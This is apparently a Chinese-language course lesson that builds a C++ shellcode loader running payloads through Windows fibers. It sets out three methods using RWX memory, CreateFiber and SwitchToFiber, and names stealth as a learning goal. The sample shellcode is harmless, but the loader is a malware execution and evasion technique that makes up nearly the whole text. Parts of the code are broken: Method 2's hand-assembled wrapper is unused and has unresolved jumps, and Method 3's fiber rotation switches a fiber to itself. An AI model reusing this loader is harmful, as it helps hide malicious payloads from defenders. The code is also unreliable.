shellcode loader
12、C++Fiber实现shellcode loader
1、课程目标
- 理解Windows纤程(Fiber)机制
- 掌握Fiber的创建和切换
- 实现Fiber方式执行ShellCode
- 了解Fiber的隐蔽性特点
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| Fiber | 纤程 | 轻量级用户态线程 |
| ConvertThreadToFiber | - | 将当前线程转换为纤程 |
| CreateFiber | - | 创建新纤程 |
| SwitchToFiber | - | 切换到指定纤程 |
3、代码实现
// fiber_loader.cpp
// Fiber方式执行ShellCode
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90,
0x31, 0xC0, 0x40, 0xC3
};
LPVOID g_MainFiber = NULL;
// ShellCode包装函数
void CALLBACK ShellcodeWrapper(LPVOID lpParameter) {
printf("[Fiber] Shellcode fiber started\n");
LPVOID mem = (LPVOID)lpParameter;
typedef int (*SC_FUNC)();
SC_FUNC func = (SC_FUNC)mem;
int result = func();
printf("[Fiber] Shellcode returned: %d\n", result);
// 切回主纤程
if (g_MainFiber) {
SwitchToFiber(g_MainFiber);
}
}
// 方法1: 基础Fiber执行
void Method1_BasicFiber() {
printf("[*] Method 1: Basic Fiber\n");
// 分配可执行内存
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, sizeof(shellcode));
// 转换主线程为纤程
g_MainFiber = ConvertThreadToFiber(NULL);
if (!g_MainFiber) {
printf("[-] ConvertThreadToFiber failed\n");
VirtualFree(mem, 0, MEM_RELEASE);
return;
}
printf("[+] Main fiber: %p\n", g_MainFiber);
// 创建ShellCode纤程
LPVOID scFiber = CreateFiber(0, ShellcodeWrapper, mem);
if (!scFiber) {
printf("[-] CreateFiber failed\n");
ConvertFiberToThread();
VirtualFree(mem, 0, MEM_RELEASE);
return;
}
printf("[+] Shellcode fiber: %p\n", scFiber);
// 切换到ShellCode纤程
printf("[*] Switching to shellcode fiber...\n");
SwitchToFiber(scFiber);
printf("[+] Returned to main fiber\n");
// 清理
DeleteFiber(scFiber);
ConvertFiberToThread();
VirtualFree(mem, 0, MEM_RELEASE);
}
// 方法2: 直接使用ShellCode作为Fiber入口
void Method2_DirectFiber() {
printf("[*] Method 2: Direct Shellcode Fiber\n");
// 需要修改ShellCode以支持Fiber调用约定
// Fiber入口: void CALLBACK FiberProc(LPVOID lpParameter)
// 创建一个包装ShellCode,最后切回主纤程
unsigned char wrapper[] = {
// 保存参数(主纤程地址)
#ifdef _WIN64
0x48, 0x89, 0xC8, // mov rax, rcx
#else
0x8B, 0x44, 0x24, 0x04, // mov eax, [esp+4]
#endif
// 执行原始ShellCode
0x90, 0x90, 0x31, 0xC0, 0x40,
// 切回主纤程
#ifdef _WIN64
0x48, 0x89, 0xC1, // mov rcx, rax
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [rip+0]
#else
0x50, // push eax
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [SwitchToFiber]
#endif
};
// 简化演示,使用包装函数
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, sizeof(shellcode));
g_MainFiber = ConvertThreadToFiber(NULL);
LPVOID scFiber = CreateFiber(0, ShellcodeWrapper, mem);
SwitchToFiber(scFiber);
DeleteFiber(scFiber);
ConvertFiberToThread();
VirtualFree(mem, 0, MEM_RELEASE);
printf("[+] Method 2 completed\n");
}
// 方法3: 多个Fiber轮换
LPVOID g_Fibers[3] = { NULL };
int g_CurrentFiber = 0;
void CALLBACK Fiber1Proc(LPVOID lpParameter) {
printf("[Fiber1] Starting\n");
for (int i = 0; i < 3; i++) {
printf("[Fiber1] Iteration %d\n", i);
SwitchToFiber(g_Fibers[(g_CurrentFiber + 1) % 3]);
}
SwitchToFiber(g_MainFiber);
}
void CALLBACK Fiber2Proc(LPVOID lpParameter) {
printf("[Fiber2] Starting - executing shellcode\n");
LPVOID mem = (LPVOID)lpParameter;
typedef int (*SC_FUNC)();
((SC_FUNC)mem)();
for (int i = 0; i < 3; i++) {
printf("[Fiber2] Iteration %d\n", i);
SwitchToFiber(g_Fibers[(g_CurrentFiber + 1) % 3]);
}
SwitchToFiber(g_MainFiber);
}
void Method3_MultipleFibers() {
printf("[*] Method 3: Multiple Fibers\n");
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, sizeof(shellcode));
g_MainFiber = ConvertThreadToFiber(NULL);
g_Fibers[0] = g_MainFiber;
g_Fibers[1] = CreateFiber(0, Fiber1Proc, NULL);
g_Fibers[2] = CreateFiber(0, Fiber2Proc, mem);
printf("[*] Switching between fibers...\n");
SwitchToFiber(g_Fibers[1]);
printf("[+] All fibers completed\n");
DeleteFiber(g_Fibers[1]);
DeleteFiber(g_Fibers[2]);
ConvertFiberToThread();
VirtualFree(mem, 0, MEM_RELEASE);
}
int main() {
printf("========================================\n");
printf(" Fiber ShellCode Loader \n");
printf("========================================\n\n");
Method1_BasicFiber();
printf("\n");
Method2_DirectFiber();
printf("\n");
Method3_MultipleFibers();
return 0;
}
4、课后作业
4.1、作业1:Fiber池
实现一个Fiber池,管理多个ShellCode执行。
4.2、作业2:Fiber与异常
在Fiber中添加异常处理机制。